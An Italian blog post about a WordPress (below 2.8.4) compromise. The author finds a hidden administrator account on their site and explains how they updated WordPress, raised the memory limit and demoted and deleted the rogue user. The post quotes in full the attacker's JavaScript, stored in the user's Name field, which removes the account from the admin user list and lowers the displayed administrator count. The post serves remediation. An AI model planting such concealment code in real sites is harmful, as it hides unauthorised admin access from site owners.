Falla di sicurezza in Wordpress

Falla di sicurezza in Wordpress
Wordpress

Wordpress

Questa mattina mi è arrivata una email da TopHost, l’azienda che fornisce hosting per i siti web, avvertendomi che era stata scoperta una falla di sicurezza nelle versioni di Wordpress inferiori alla 2.8.4.
La notizia mi ha subito allarmato dato che ultimamente alcuni utenti con nomi e soprattutto indirizzi email troppo particolari si registravano sul mio blog, senza commentare e interagire con esso.
Leggendo l’email vengo a conoscenza di un modo per registrare un account da amministratore nascosto!
Faccio un veloce controllo e nella sezione Utenti del Pannello di WP trovo l’etichetta Amministratori seguita da un (2): ovviamente sul mio blog vi è un solo account da amministratore e così ho controllato qual’era il nuovo arrivato… Niente, nisba, nada!
Nella lista degli amministratori compariva solamente il mio account: ciò stava ad indicare che il mio sito era già stato attaccato e bucato anche perché non era stato aggiornato alla versione più recente (2.8.4).
Così ho trovato una guida su JourneyETC per come riportare il tutto alla normalità: di seguito spiegherò i passi da me attuati per risolvere il problema.

Innanzitutto ho aggiornato Wordpress dalla 2.8.2 alla 2.8.4.
Si è presentato subito un problema con l’aggiornamento automatico:

Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 122880 bytes) in /home/mhd-01/www.giuseppesurace.com/htdocs/wp-includes/class-simplepie.php on line 3679

Ho risolto modificando la seguente riga del file settings.php, che potete trovare nella cartella principale di WP:

if ( !defined(‘WP_MEMORY_LIMIT’) )
define(‘WP_MEMORY_LIMIT’, ‘32M’);

In :

if ( !defined(‘WP_MEMORY_LIMIT’) )
define(‘WP_MEMORY_LIMIT’, ‘40M’);

Per ulteriori informazioni vi rimando a questa discussione.

Dopodiché ho controllato se i miei permalink erano a posto: andando su Impostazioni e poi su Permalink fortunatamente non ho trovato problemi.
Infine sono passato a setacciare gli utenti per trovare l’account nascosto da superuser.
Mi è bastato andare nella sezione Utenti e posizionarmi su un utente a caso: in questo modo, in fondo a sinistra del browser è comparso il link della pagina di tale utente.
L’ho copiato e l’ho inserito nella barra degli indirizzi del browser: ho passato al setaccio ogni singolo utente, partendo dal numero 2 fino a quando non trovavo più utenti.
Per capire meglio guardate il seguente screenshot:

Utenti

Utenti

Voi dovete modificare il suddetto link inserendo progressivamente i valori partendo dal 2 al posto del “10″ evidenziato nello screenshot.
Arriverete a trovare un utente con privilegi di amministratore invece del normale sottoscrittore.
Noterete che nel campo Nome non vi è un nickname bensì una stringa particolarmente lunga, ossia il codice maligno che sfrutta la falla di WP:

<div id=”user_superuser”>
<script language=”JavaScript”>
var setUserName = function(){
try{
var t=document.getElementById(“user_superuser”);
while(t.nodeName!=”TR”){
t=t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName(“H3″);
var s = ” shown below”;
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr=document.getElementsByTagName(“ul”);
for(var i in arr) if(arr[i].className==”subsubsub”){
var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);
if(n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,”>Administrator (“+(n[1]-1)+”)<”);
arr[i].innerHTML=txt;
}
}
}catch(e){};
};
addLoadEvent(setUserName);
</script>
</div>

Cancellate il campo Nome inserendogli un bel “BASTARDO” e modificate i privilegi da amministratore a sottoscrittore: probabilmente dovrete inserire anche un indirizzo email quindi mettetene uno fasullo e salvate le modifiche.
Ora il vostro furbone risulterà fra i normali utenti: per evitare rotture cancellatelo ;)

Di seguito riporto anche la lista degli utenti sospetti con i relativi nickname e email che potrebbero registrarsi sul vostro sito (probabilmente sono BOT che scandagliano la rete in cerca di prede aventi WP < 2.8.4):

Altri link utili:

About the Author

Sono un ragazzo appassionato d'informatica e tecnologia varia, tra cui l'ecotech. Nel tempo libero mi diletto a programmare, gestire il mio sito web e leggere libri fantasy.